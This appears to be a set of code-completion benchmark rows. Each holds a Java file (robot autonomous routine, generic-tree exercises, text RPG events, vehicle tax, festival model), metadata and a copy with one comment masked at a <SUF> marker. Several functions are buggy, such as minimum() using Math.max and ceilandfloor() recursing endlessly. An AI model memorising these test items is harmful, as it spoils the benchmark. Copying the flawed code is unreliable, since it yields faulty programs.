import org.firstinspires.ftc.teamcode.robots.CompetitionRobot;
/** Comment to make the program disappear from the driverstation app. */
@Autonomous
public class RedStart1VisionPushParkB extends LinearOpMode {
private final boolean BLUE_SIDE = false;
private final boolean SKIP_VISION = false;
private BezierCurveRoute case0;
private BezierCurveRoute case2;
private BezierCurveRoute case0ParkB;
private BezierCurveRoute case1ParkB;
private BezierCurveRoute case2ParkB;
private CompetitionRobot robot;
private void initAutonomous() {
robot = new CompetitionRobot(this);
case0 = new BezierCurveRoute(
new double[] {-134.835833333334, 221.373750000001, -150.769166666667, 36.0989583333336}, //The x-coefficients
new double[] {-5.57666666666569, 65.7249999999985, 155.350000000001, -151.1675}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case2 = new BezierCurveRoute(
new double[] {6.37333333333339, -11.9500000000003, -27.0866666666663, 52.9783333333332}, //The x-coefficients
new double[] {195.98, -169.69, 7.96666666666653, 29.4766666666668}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case0ParkB= new BezierCurveRoute(
new double[] {-12.1989583333324, -1351.993125, 7146.846875, -15288.7802083333, 15483.615, -7288.35479166666, 1574.16354166666}, //The x-coefficients
new double[] {-408.490833333334, 2329.6525, -6601.37916666666, 14366.8875, -18804.52, 12077.6658333333, -2888.51416666666}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case1ParkB = new BezierCurveRoute(
new double[] {-525.252291666667, 2972.711875, -8830.303125, 15647.778125, -17231.9, 10713.1252083333, -2509.54979166667}, //The x-coefficients
new double[] {73.8908333333343, -798.857500000003, 4133.70416666667, -7758.53750000001, 6842.57000000001, -2920.77916666668, 490.945833333336}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case2ParkB = new BezierCurveRoute(
new double[] {-525.252291666667, 2972.711875, -8830.303125, 15647.778125, -17231.9, 10713.1252083333, -2509.54979166667}, //The x-coefficients
new double[] {73.8908333333343, -798.857500000003, 4133.70416666667, -7758.53750000001, 6842.57000000001, -2920.77916666668, 490.945833333336}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
}
@Override
public void runOpMode() {
int markerPosition = 1;
initAutonomous();
robot.grabber.grab();
sleep(1000);
// TODO: Hier 1 functie van maken.
while (!isStarted() && !isStopRequested()) {
markerPosition = robot.webcam.getMarkerPosition(BLUE_SIDE);
// result
telemetry.addData("Position", markerPosition);
telemetry.update();
}
// Jeroen denkt dat dit niet nodig is.
waitForStart();
// Choose default option if skip.
if (SKIP_VISION) {
markerPosition = 1;
}
switch (markerPosition) {
case 0: // LEFT
leftPixelPlacement();
return;
case 2: // RIGHT
rightPixelPlacement();
return;
default: // Default MIDDLE
middlePixelPlacement();
return;
}
}
private void middlePixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.tiltMechanism.TiltMechanismStartPosition();
sleep(200);
//Push pixel<SUF>
robot.drivetrain.driveStraight(65, 0.4);
sleep(200);
robot.pusher.release();
sleep(200);
robot.tiltMechanism.TiltMechanismDown();
//Rij een stuk naar achter zodat de pixel niet meer onder de robot ligt.
robot.drivetrain.driveStraight(-25, 0.4);
//Rij naar de backstage en parkeer.
case1ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
private void rightPixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.drivetrain.driveStraight(45, 0.4);
robot.drivetrain.turnRobotAO(45);
robot.drivetrain.driveStraight(20, 0.4);
sleep(200);
robot.pusher.release();
sleep(200);
robot.drivetrain.driveStraight(-20, 0.4);
robot.drivetrain.turnRobotAO(0);
robot.drivetrain.driveStraight(10, 0.4);
//Rij naar de backstage en parkeer.
case2ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
private void leftPixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.tiltMechanism.TiltMechanismStartPosition();
sleep(200);
//Push pixel naar de linker streep.
case0.executeWithPointSkip();
sleep(200);
robot.pusher.release();
sleep(200);
//Rij een stuk naar achter zodat de pixel niet meer onder de robot ligt.
robot.drivetrain.driveStraight(-10, 0.4);
robot.tiltMechanism.TiltMechanismDown();
//Rij naar de backstage en parkeer.
case0ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
} |
126393_14 | import java.util.ArrayList;
import java.util.LinkedList;
public class genrictree {
public static class Node {
int data = 0;
ArrayList<Node> childs;
Node(int data) {
this.data = data;
this.childs = new ArrayList<>();
}
}
// public static int height(Node root) {
// int h = 0;
// for(Node child: root.childs){
// h = Math.max(height(child) + 1,h);
// }
// return h + 1;
// }
public static int height2(Node root) {
int h = -1;
for (Node child : root.childs) {
h = Math.max(height2(child), h);
}
return h + 1;
}
public static int size2(Node root) {
int count = 0;
for (int i = 0; i < root.childs.size(); i++) {
Node child = root.childs.get(i);
count += size2(child);
}
return count + 1;
}
public static int size(Node root) {
int count = 0;
for (Node child : root.childs) {
count += size(child);
}
return count + 1;
}
public static int maximum(Node root) {
int max = root.data;
for (Node child : root.childs) {
max = Math.max(maximum(child), max);
}
return max;
}
public static int minimum(Node root) {
int min = root.data;
for (Node child : root.childs) {
min = Math.max(minimum(child), min);
}
return min;
}
public static int sum(Node root) {
int sum = root.data;
for (Node child : root.childs) {
sum += sum(child);
}
return sum;
}
// for loop basecase ko smhaal lega
// we dont go on null values in genric tree fyda ni hai genric mai
public static boolean find(Node root, int data) { // correct
if (root.data == data) {
return true;
}
boolean res = false;
for (Node child : root.childs) {
res = res || find(child, data);
}
return res;
}
public static boolean find2(Node root, int data) { // not correct
if (root.data == data) {
return true;
}
boolean res = false;
for (Node child : root.childs) {
if (find2(child, data)) {
res = true;
break;
}
}
return res;
}
public static int countleaves(Node root) {
if (root.childs.size() == 0) {
return 1;
}
int count = 0;
for (Node child : root.childs) {
count += countleaves(child);
}
return count;
}
// 1 return types 1 in arugument types
public static boolean nodeToRootPath2(Node root, int data, ArrayList<Node> ans) {
if (root.data == data) {
ans.add(root);
return true;
}
boolean res = false;
for (Node child : root.childs) {
res = res || nodeToRootPath2(child, data, ans);
}
if (res) {
ans.add(root);
}
return res;
}
// using return type
public static ArrayList<Node> nodeToRootPath(Node root, int data) {
if (root.data == data) {
ArrayList<Node> base = new ArrayList<>();
base.add(root);
return base;
}
ArrayList<Node> smallNodes = new ArrayList<>(); // agr nodes k sth kaam krna hai to loop k bahar kro andytha na
// kro
for (Node child : root.childs) { // child k sth kaam krna hai to loop k andr kro wrna mt kro
smallNodes = nodeToRootPath(child, data);
if (smallNodes.size() != 0) {
break;
}
}
if (smallNodes.size() != 0) {
smallNodes.add(root);
}
return smallNodes;
}
public static Node lca(Node root, int d1, int d2) {
ArrayList<Node> list1 = nodeToRootPath(root, d1);
ArrayList<Node> list2 = nodeToRootPath(root, d2);
int i = list1.size() - 1;
int j = list2.size() - 1;
Node Lca = null;
while (i >= 0 && j >= 0) {
if (list1.get(i) != list2.get(j)) {
break;
}
Lca = list1.get(j);
i--;
j--;
}
return Lca;
}
// public static int distanceBetweenNodes(Node root, int d1, int d2){
// Node lcanode = lca(root,d1, d2);
// distanceBetweenNodes(root.right, d1, d2);
// distanceBetweenNodes(root.left, d1, d2);
// }
public static boolean aresimilart(Node n1, Node n2) { //both node are same in lenth and size but not in data
if (n1.childs.size() != n2.childs.size()) { //just cheacking the stucture
return false;
}
boolean res = true;
for (int i = 0; i < n1.childs.size(); i++) {
Node c1 = n1.childs.get(i);
Node c2 = n2.childs.get(i);
res = res && aresimilart(c1, c2);
}
return res;
}
public static boolean aremirror(Node n1, Node n2) { //the both data node are same in mirror shape size and in data too
if (n1.childs.size() != n2.childs.size() && n1.data != n2.data) {
return false;
}
boolean res = true;
int size = n1.childs.size();
for (int i = 0; i < size; i++) {
Node c1 = n1.childs.get(i);
Node c2 = n2.childs.get(size - i - 1);
res = res && aremirror(c1, c2);
}
return res;
}
public static boolean isSymatric(Node node) { //checking the half of data is same as the full tree
return aremirror(node, node);
}
static int ceil;
static int floor;
public static void ceilandfloor_(Node node, int data) { //cheaking the left highest node and right smallest node
if (node.data < data) { //basically cheacking the both nodes which is nearest to the given data
floor = Math.max(floor, node.data);
}
if (node.data > data) {
ceil = Math.min(ceil, node.data);
}
for (Node child : node.childs) {
ceilandfloor_(child, data);
}
}
public static void ceilandfloor(Node node, int data) {
ceil = (int) 1e9;
floor = -(int) 1e9;
ceilandfloor(node, data);
}
public static int floor(Node node, int num){
int maxres = -(int) 1e9; //finding max element on the tree but smaller then num
for(Node child : node.childs){
int largesttillnumber = floor(child,num);
maxres = Math.max(largesttillnumber, maxres);
}
return node.data < num ? Math.max(node.data, maxres) : maxres;
}
public static int kthlargest(Node node, int k ){
int num = (int) 1e9;
for(int i = 0; i < k; i++){
num = floor(node, num);
}
return num;
}
//this treversal technique is called bfs and dfs is normal onces we actually do in
public static void levelOrder(Node root){
LinkedList<Node> que = new LinkedList<>();
que.addLast(root);
int level = 0;
while(que.size() != 0){
int size = que.size();
while(size-- > 0){
Node rn = que.removeFirst();
System.out.print(rn.data + " ");
for(Node child : rn.childs) {
que.addLast(child);
}
}
level++;
}
System.out.print(".");
}
}
| 1dudecoder/DSAlgo | genric tree/genrictree.java | 2,373 | // distanceBetweenNodes(root.left, d1, d2); | line_comment | nl | import java.util.ArrayList;
import java.util.LinkedList;
public class genrictree {
public static class Node {
int data = 0;
ArrayList<Node> childs;
Node(int data) {
this.data = data;
this.childs = new ArrayList<>();
}
}
// public static int height(Node root) {
// int h = 0;
// for(Node child: root.childs){
// h = Math.max(height(child) + 1,h);
// }
// return h + 1;
// }
public static int height2(Node root) {
int h = -1;
for (Node child : root.childs) {
h = Math.max(height2(child), h);
}
return h + 1;
}
public static int size2(Node root) {
int count = 0;
for (int i = 0; i < root.childs.size(); i++) {
Node child = root.childs.get(i);
count += size2(child);
}
return count + 1;
}
public static int size(Node root) {
int count = 0;
for (Node child : root.childs) {
count += size(child);
}
return count + 1;
}
public static int maximum(Node root) {
int max = root.data;
for (Node child : root.childs) {
max = Math.max(maximum(child), max);
}
return max;
}
public static int minimum(Node root) {
int min = root.data;
for (Node child : root.childs) {
min = Math.max(minimum(child), min);
}
return min;
}
public static int sum(Node root) {
int sum = root.data;
for (Node child : root.childs) {
sum += sum(child);
}
return sum;
}
// for loop basecase ko smhaal lega
// we dont go on null values in genric tree fyda ni hai genric mai
public static boolean find(Node root, int data) { // correct
if (root.data == data) {
return true;
}
boolean res = false;
for (Node child : root.childs) {
res = res || find(child, data);
}
return res;
}
public static boolean find2(Node root, int data) { // not correct
if (root.data == data) {
return true;
}
boolean res = false;
for (Node child : root.childs) {
if (find2(child, data)) {
res = true;
break;
}
}
return res;
}
public static int countleaves(Node root) {
if (root.childs.size() == 0) {
return 1;
}
int count = 0;
for (Node child : root.childs) {
count += countleaves(child);
}
return count;
}
// 1 return types 1 in arugument types
public static boolean nodeToRootPath2(Node root, int data, ArrayList<Node> ans) {
if (root.data == data) {
ans.add(root);
return true;
}
boolean res = false;
for (Node child : root.childs) {
res = res || nodeToRootPath2(child, data, ans);
}
if (res) {
ans.add(root);
}
return res;
}
// using return type
public static ArrayList<Node> nodeToRootPath(Node root, int data) {
if (root.data == data) {
ArrayList<Node> base = new ArrayList<>();
base.add(root);
return base;
}
ArrayList<Node> smallNodes = new ArrayList<>(); // agr nodes k sth kaam krna hai to loop k bahar kro andytha na
// kro
for (Node child : root.childs) { // child k sth kaam krna hai to loop k andr kro wrna mt kro
smallNodes = nodeToRootPath(child, data);
if (smallNodes.size() != 0) {
break;
}
}
if (smallNodes.size() != 0) {
smallNodes.add(root);
}
return smallNodes;
}
public static Node lca(Node root, int d1, int d2) {
ArrayList<Node> list1 = nodeToRootPath(root, d1);
ArrayList<Node> list2 = nodeToRootPath(root, d2);
int i = list1.size() - 1;
int j = list2.size() - 1;
Node Lca = null;
while (i >= 0 && j >= 0) {
if (list1.get(i) != list2.get(j)) {
break;
}
Lca = list1.get(j);
i--;
j--;
}
return Lca;
}
// public static int distanceBetweenNodes(Node root, int d1, int d2){
// Node lcanode = lca(root,d1, d2);
// distanceBetweenNodes(root.right, d1, d2);
// distanceBetweenNodes(root.left, d1,<SUF>
// }
public static boolean aresimilart(Node n1, Node n2) { //both node are same in lenth and size but not in data
if (n1.childs.size() != n2.childs.size()) { //just cheacking the stucture
return false;
}
boolean res = true;
for (int i = 0; i < n1.childs.size(); i++) {
Node c1 = n1.childs.get(i);
Node c2 = n2.childs.get(i);
res = res && aresimilart(c1, c2);
}
return res;
}
public static boolean aremirror(Node n1, Node n2) { //the both data node are same in mirror shape size and in data too
if (n1.childs.size() != n2.childs.size() && n1.data != n2.data) {
return false;
}
boolean res = true;
int size = n1.childs.size();
for (int i = 0; i < size; i++) {
Node c1 = n1.childs.get(i);
Node c2 = n2.childs.get(size - i - 1);
res = res && aremirror(c1, c2);
}
return res;
}
public static boolean isSymatric(Node node) { //checking the half of data is same as the full tree
return aremirror(node, node);
}
static int ceil;
static int floor;
public static void ceilandfloor_(Node node, int data) { //cheaking the left highest node and right smallest node
if (node.data < data) { //basically cheacking the both nodes which is nearest to the given data
floor = Math.max(floor, node.data);
}
if (node.data > data) {
ceil = Math.min(ceil, node.data);
}
for (Node child : node.childs) {
ceilandfloor_(child, data);
}
}
public static void ceilandfloor(Node node, int data) {
ceil = (int) 1e9;
floor = -(int) 1e9;
ceilandfloor(node, data);
}
public static int floor(Node node, int num){
int maxres = -(int) 1e9; //finding max element on the tree but smaller then num
for(Node child : node.childs){
int largesttillnumber = floor(child,num);
maxres = Math.max(largesttillnumber, maxres);
}
return node.data < num ? Math.max(node.data, maxres) : maxres;
}
public static int kthlargest(Node node, int k ){
int num = (int) 1e9;
for(int i = 0; i < k; i++){
num = floor(node, num);
}
return num;
}
//this treversal technique is called bfs and dfs is normal onces we actually do in
public static void levelOrder(Node root){
LinkedList<Node> que = new LinkedList<>();
que.addLast(root);
int level = 0;
while(que.size() != 0){
int size = que.size();
while(size-- > 0){
Node rn = que.removeFirst();
System.out.print(rn.data + " ");
for(Node child : rn.childs) {
que.addLast(child);
}
}
level++;
}
System.out.print(".");
}
}
|
200212_1 | import java.util.List;
import java.util.Random;
// This Class should represent special Events in the game, that can be triggered
public class Event {
private final PlayerCharacter player;
WeaponEquipment weaponEquipment;
public Event(PlayerCharacter player){
this.player = player;
this.weaponEquipment = WeaponEquipment.getInstance();
}
public void spawnTreasureChest(){
Random random = new Random();
int roll = random.nextInt(100)+1; // roll between 1 and 100
if (roll <= 50){
// 50% chance to contain gold
int goldAmount = random.nextInt(100)+1; // Gold amount between 1 and 100
System.out.println("Du hast eine Goldtruhe mit " + goldAmount + " Gold gefunden und sammelst diese auf.");
int currentGold = player.getCharacterInventory().getCurrencyAmount();
player.getCharacterInventory().setCurrencyAmount(currentGold + goldAmount);
} else {
// 50% Chance to contain a potion
PotionItems potion = PotionItems.getRandomPotion();
System.out.println("Du hast eine Truhe mit " + potion + " gefunden und sammelst diese auf.");
player.getCharacterInventory().addPotionItemToInventory(potion);
}
}
// Makes last weaponUpgrade available
public void spawnWeaponChest(){
System.out.println("Die Marmorstatue zerbricht lässt einen Schlüsselbund und einen großen einzelnen Schlüssel fallen.");
System.out.println("Du gehst damit durch die prächtige Tür und betrittst einen Ausstellungsraum.");
System.out.println("Viele Vitrinen mit ausgestellten Waffen sind sichtbar. Der kleinere Schlüsselbund ist eindeutig für die Vitrinenschlösser");
System.out.println("Sie sehen mächtiger aus als das, was die Waffenschmiede in der Stadt bieten kann!");
System.out.println("Du öffnest die Vitrinen von den Waffen, die du tragen kannst, und nimmst sie an dich.");
GameUtility.printSeperator(30);
if (player.getCharacterClass().getCharacterClass() == CharacterClasses.WAFFENMEISTER){
Weapon playerSword = player.getCharacterInventory().getWeaponAtIndex(0);
Weapon playerAxe = player.getCharacterInventory().getWeaponAtIndex(1);
Weapon playerMace = player.getCharacterInventory().getWeaponAtIndex(2);
List<WeaponUpgrade> swords = weaponEquipment.getUpgradesForWeaponType(playerSword);
List<WeaponUpgrade> axe = weaponEquipment.getUpgradesForWeaponType(playerAxe);
List<WeaponUpgrade> mace = weaponEquipment.getUpgradesForWeaponType(playerMace);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(swords, swords.size()-1);
player.getCharacterInventory().getWeaponAtIndex(1).getAttributes().applyUpgrade(axe, axe.size()-1);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(mace, mace.size()-1);
System.out.println("Info: Du besitzt nun von dem Schwert, Axt und Streitkolben die höchste Stufe! ");
} else {
Weapon playerStaff = player.getCharacterInventory().getWeaponAtIndex(0);
List<WeaponUpgrade> staff = weaponEquipment.getUpgradesForWeaponType(playerStaff);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(staff, staff.size()-1);
System.out.println("Info: Du besitzt nun von dem Zauberstab die höchste Stufe! ");
}
weaponEquipment.setCanUpgrade(false); //make weapons not upgradeable anymore. Achieved highest weapon level
}
// SecretVendor that sells special potions
public void spawnSecretVendor(){
System.out.println("Es zieht dichter Nebel auf. Eine düstere geistähnliche Gestalt taucht auf und lächelt dich schelmisch an ");
GameUtility.printSeperator(30);
System.out.println("Düstere Gestalt:'' Danke, dass du mir den Weg freigemacht hast. Willst du einen Handel eingehen?" + "\n"
+ "Ich biete dir einen mächtigen Trank der Angriffskraft für 20 Gold an...");
System.out.println("(1) um den Trank zu kaufen.");
System.out.println("(2) um den Handel abzulehnen. (Achtung: Der Händler zieht danach fort)");
int input = GameUtility.readInt("-> ", 2);
switch (input){
case 1:
System.out.println("Düstere Gestalt:'' Ahh... Eine gute Wahl junger " + player.getCharacterClass() + "! ''");
buyPotionAtSecretVendor(new PotionItems.AttackPotion());
break;
case 2:
System.out.println("Düstere Gestalt:'' Nun gut... Hoffentlich bereust du diese Entscheidung nicht...''");
System.out.println("Die düstere Gestalt verschwindet im Nebel, der sich kurz darauf im Raum lichtet.");
break;
default:
System.out.println("Ungültige Eingabe. Bitte versuche es erneut mit einer Zahl zwischen 1 und 2.");
}
GameUtility.printSeperator(30);
}
void buyPotionAtSecretVendor(PotionItems potion){
int price = potion.getPrice();
if (!player.getCharacterInventory().checkAffordable(price)){
System.out.println("Düstere Gestalt:'' Du hast nicht genug Gold! Ich verschwinde!''");
System.out.println("Die düstere Gestalt verschwindet schnell in der Dunkelheit. Der Nebel lichtet sich.''");
} else if (player.getCharacterInventory().checkInventorySpace()) {
System.out.println("Düstere Gestalt:'' Du scheinst keinen Platz im Inventar zu haben. Vielleicht sehen wir uns wieder...");
System.out.println("Die düstere Gestalt verschwindet in der Dunkelheit. Der Nebel lichtet sich.''");
} else {
player.getCharacterInventory().payGold(price);
player.getCharacterInventory().addPotionItemToInventory(potion);
System.out.println("Du hast einen Trank der Kraft von der düsteren Gestalt erworben! Setze ihn weise ein.");
}
}
}
| 2000eBe/SE2024_Textbased_RPG | src/main/java/Event.java | 1,751 | // roll between 1 and 100 | line_comment | nl | import java.util.List;
import java.util.Random;
// This Class should represent special Events in the game, that can be triggered
public class Event {
private final PlayerCharacter player;
WeaponEquipment weaponEquipment;
public Event(PlayerCharacter player){
this.player = player;
this.weaponEquipment = WeaponEquipment.getInstance();
}
public void spawnTreasureChest(){
Random random = new Random();
int roll = random.nextInt(100)+1; // roll between<SUF>
if (roll <= 50){
// 50% chance to contain gold
int goldAmount = random.nextInt(100)+1; // Gold amount between 1 and 100
System.out.println("Du hast eine Goldtruhe mit " + goldAmount + " Gold gefunden und sammelst diese auf.");
int currentGold = player.getCharacterInventory().getCurrencyAmount();
player.getCharacterInventory().setCurrencyAmount(currentGold + goldAmount);
} else {
// 50% Chance to contain a potion
PotionItems potion = PotionItems.getRandomPotion();
System.out.println("Du hast eine Truhe mit " + potion + " gefunden und sammelst diese auf.");
player.getCharacterInventory().addPotionItemToInventory(potion);
}
}
// Makes last weaponUpgrade available
public void spawnWeaponChest(){
System.out.println("Die Marmorstatue zerbricht lässt einen Schlüsselbund und einen großen einzelnen Schlüssel fallen.");
System.out.println("Du gehst damit durch die prächtige Tür und betrittst einen Ausstellungsraum.");
System.out.println("Viele Vitrinen mit ausgestellten Waffen sind sichtbar. Der kleinere Schlüsselbund ist eindeutig für die Vitrinenschlösser");
System.out.println("Sie sehen mächtiger aus als das, was die Waffenschmiede in der Stadt bieten kann!");
System.out.println("Du öffnest die Vitrinen von den Waffen, die du tragen kannst, und nimmst sie an dich.");
GameUtility.printSeperator(30);
if (player.getCharacterClass().getCharacterClass() == CharacterClasses.WAFFENMEISTER){
Weapon playerSword = player.getCharacterInventory().getWeaponAtIndex(0);
Weapon playerAxe = player.getCharacterInventory().getWeaponAtIndex(1);
Weapon playerMace = player.getCharacterInventory().getWeaponAtIndex(2);
List<WeaponUpgrade> swords = weaponEquipment.getUpgradesForWeaponType(playerSword);
List<WeaponUpgrade> axe = weaponEquipment.getUpgradesForWeaponType(playerAxe);
List<WeaponUpgrade> mace = weaponEquipment.getUpgradesForWeaponType(playerMace);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(swords, swords.size()-1);
player.getCharacterInventory().getWeaponAtIndex(1).getAttributes().applyUpgrade(axe, axe.size()-1);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(mace, mace.size()-1);
System.out.println("Info: Du besitzt nun von dem Schwert, Axt und Streitkolben die höchste Stufe! ");
} else {
Weapon playerStaff = player.getCharacterInventory().getWeaponAtIndex(0);
List<WeaponUpgrade> staff = weaponEquipment.getUpgradesForWeaponType(playerStaff);
player.getCharacterInventory().getWeaponAtIndex(0).getAttributes().applyUpgrade(staff, staff.size()-1);
System.out.println("Info: Du besitzt nun von dem Zauberstab die höchste Stufe! ");
}
weaponEquipment.setCanUpgrade(false); //make weapons not upgradeable anymore. Achieved highest weapon level
}
// SecretVendor that sells special potions
public void spawnSecretVendor(){
System.out.println("Es zieht dichter Nebel auf. Eine düstere geistähnliche Gestalt taucht auf und lächelt dich schelmisch an ");
GameUtility.printSeperator(30);
System.out.println("Düstere Gestalt:'' Danke, dass du mir den Weg freigemacht hast. Willst du einen Handel eingehen?" + "\n"
+ "Ich biete dir einen mächtigen Trank der Angriffskraft für 20 Gold an...");
System.out.println("(1) um den Trank zu kaufen.");
System.out.println("(2) um den Handel abzulehnen. (Achtung: Der Händler zieht danach fort)");
int input = GameUtility.readInt("-> ", 2);
switch (input){
case 1:
System.out.println("Düstere Gestalt:'' Ahh... Eine gute Wahl junger " + player.getCharacterClass() + "! ''");
buyPotionAtSecretVendor(new PotionItems.AttackPotion());
break;
case 2:
System.out.println("Düstere Gestalt:'' Nun gut... Hoffentlich bereust du diese Entscheidung nicht...''");
System.out.println("Die düstere Gestalt verschwindet im Nebel, der sich kurz darauf im Raum lichtet.");
break;
default:
System.out.println("Ungültige Eingabe. Bitte versuche es erneut mit einer Zahl zwischen 1 und 2.");
}
GameUtility.printSeperator(30);
}
void buyPotionAtSecretVendor(PotionItems potion){
int price = potion.getPrice();
if (!player.getCharacterInventory().checkAffordable(price)){
System.out.println("Düstere Gestalt:'' Du hast nicht genug Gold! Ich verschwinde!''");
System.out.println("Die düstere Gestalt verschwindet schnell in der Dunkelheit. Der Nebel lichtet sich.''");
} else if (player.getCharacterInventory().checkInventorySpace()) {
System.out.println("Düstere Gestalt:'' Du scheinst keinen Platz im Inventar zu haben. Vielleicht sehen wir uns wieder...");
System.out.println("Die düstere Gestalt verschwindet in der Dunkelheit. Der Nebel lichtet sich.''");
} else {
player.getCharacterInventory().payGold(price);
player.getCharacterInventory().addPotionItemToInventory(potion);
System.out.println("Du hast einen Trank der Kraft von der düsteren Gestalt erworben! Setze ihn weise ein.");
}
}
}
|
37899_1 | import java.util.ArrayList;
public class Bedrijf {
private ArrayList<Voertuig> voertuigen;
public Bedrijf() {
this.voertuigen = new ArrayList<>();
}
public void add(Voertuig voertuig) {
this.voertuigen.add(voertuig);
}
public double getBelasting() {
double belasting = 0;
for (Voertuig voertuig : voertuigen) {
belasting += voertuig.getBelasting();
}
return belasting;
}
public static void main(String[] args) {
Personenauto w1 = new Personenauto("RET325", "Mercedes", 215, 34000);
Personenauto w2 = new Personenauto("AVF548", "VW", 167, 24000);
Personenauto w3 = new Personenauto("RLN841", "Renault", 104, 18500);
Personenauto w4 = new Personenauto("AFC356", "Renault", 55, 11000);
Personenauto w5 = new Personenauto("DET485", "Renault", 55, 11000);
Vrachtwagen v1 = new Vrachtwagen("YER412", 18.5);
Vrachtwagen v2 = new Vrachtwagen("GTZ652", 8);
Bedrijf b = new Bedrijf();
b.add(w1);
b.add(w2);
b.add(w3);
b.add(w4);
b.add(w5);
b.add(v1);
b.add(v2);
// Op 2 cijfers na de komma afronden met de statische methode format van de klasse String
// %.2f betekent de double b.getBelasting() die volgt na de tekst afronden op 2 cijfers
System.out.printf(String.format ("Totale belasting: %.2f",b.getBelasting()));
}
}
| 22-avo-programmeren-thomasmore/oop-bedrijf | src/Bedrijf.java | 525 | // %.2f betekent de double b.getBelasting() die volgt na de tekst afronden op 2 cijfers | line_comment | nl | import java.util.ArrayList;
public class Bedrijf {
private ArrayList<Voertuig> voertuigen;
public Bedrijf() {
this.voertuigen = new ArrayList<>();
}
public void add(Voertuig voertuig) {
this.voertuigen.add(voertuig);
}
public double getBelasting() {
double belasting = 0;
for (Voertuig voertuig : voertuigen) {
belasting += voertuig.getBelasting();
}
return belasting;
}
public static void main(String[] args) {
Personenauto w1 = new Personenauto("RET325", "Mercedes", 215, 34000);
Personenauto w2 = new Personenauto("AVF548", "VW", 167, 24000);
Personenauto w3 = new Personenauto("RLN841", "Renault", 104, 18500);
Personenauto w4 = new Personenauto("AFC356", "Renault", 55, 11000);
Personenauto w5 = new Personenauto("DET485", "Renault", 55, 11000);
Vrachtwagen v1 = new Vrachtwagen("YER412", 18.5);
Vrachtwagen v2 = new Vrachtwagen("GTZ652", 8);
Bedrijf b = new Bedrijf();
b.add(w1);
b.add(w2);
b.add(w3);
b.add(w4);
b.add(w5);
b.add(v1);
b.add(v2);
// Op 2 cijfers na de komma afronden met de statische methode format van de klasse String
// %.2f betekent<SUF>
System.out.printf(String.format ("Totale belasting: %.2f",b.getBelasting()));
}
}
|
12293_3 | package be.thomasmore.screeninfo.model;
import java.sql.Date;
import java.time.LocalDate;
import java.time.ZoneId;
public class FestivalItem {
public Integer id;
private String festivalName;
private String festivalImage;
private String backgroundColor;
private String date;
private String festivalLink;
private boolean onGoing; // om manueel te zeggen dat een event bezig is
private String busyness; // om op voorant te berekenen hoe druk he is
// voor positie op map
private float mapLat;
private float mapLng;
private String festivalType;
private Integer maxCapacity;
public FestivalItem(Festival festival){
id = festival.getId();
festivalName = festival.getFestivalName();
festivalImage = festival.getFestivalImage();
backgroundColor = festival.getBackgroundColor();
festivalLink = festival.getFestivalLink();
mapLat = festival.getMapLat();
mapLng = festival.getMapLng();
festivalType = festival.getFestivalType();
maxCapacity = festival.getMaxCapacity();
onGoing = Date.from(java.time.LocalDateTime.now().atZone(ZoneId.systemDefault()).toInstant()).after(festival.getStartDate());
// voor nu debuggen
date = "";
LocalDate startDate = festival.getStartDate().toLocalDate();
LocalDate endDate = festival.getEndDate().toLocalDate();
if(startDate.getYear() != endDate.getYear()){
date = startDate.getDayOfMonth()+"-"+ startDate.getMonthValue()+"-"+startDate.getYear() + " / ";
}
else if(startDate.getMonth() != endDate.getMonth()){
date = startDate.getDayOfMonth()+"-"+ startDate.getMonthValue() + " / ";
}
else if(startDate.getDayOfMonth() != endDate.getDayOfMonth()){
date = startDate.getDayOfMonth() + " / ";
}
date += endDate.getDayOfMonth()+"-"+endDate.getMonthValue()+"-"+endDate.getYear();
int maxCapacity = festival.getMaxCapacity();
int population = festival.getPopulation();
if(maxCapacity < population){
busyness = "FULL";
}
else if(maxCapacity * 0.75 < population){
busyness = "BUSY";
}
else if(maxCapacity * 0.5 < population){
busyness = "MEDIUM BUSY";
}
else if(maxCapacity * 0.25 < population){
busyness = "CALM";
}
else {
busyness = "EMPTY";
}
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getFestivalName() {
return festivalName;
}
public void setFestivalName(String festivalName) {
this.festivalName = festivalName;
}
public String getFestivalImage() {
return festivalImage;
}
public void setFestivalImage(String festivalImage) {
this.festivalImage = festivalImage;
}
public String getBackgroundColor() {
return backgroundColor;
}
public void setBackgroundColor(String backgroundColor) {
this.backgroundColor = backgroundColor;
}
public void setDate(String date) {
this.date = date;
}
public String getDate() {
return date;
}
public void setFestivalLink(String festivalLink) {
this.festivalLink = festivalLink;
}
public String getFestivalLink() {
return festivalLink;
}
public void setOnGoing(boolean onGoing) {
this.onGoing = onGoing;
}
public boolean isOnGoing() {
return onGoing;
}
public String getBusyness() {
return busyness;
}
public void setBusyness(String busyness) {
this.busyness = busyness;
}
public void setMapLat(float mapLat) {
this.mapLat = mapLat;
}
public void setMapLng(float mapLng) {
this.mapLng = mapLng;
}
public float getMapLat() {
return mapLat;
}
public float getMapLng() {
return mapLng;
}
public String getFestivalType() {
return festivalType;
}
public void setFestivalType(String festivalType) {
this.festivalType = festivalType;
}
public Integer getMaxCapacity() {
return maxCapacity;
}
public void setMaxCapacity(Integer maxCapacity) {
this.maxCapacity = maxCapacity;
}
}
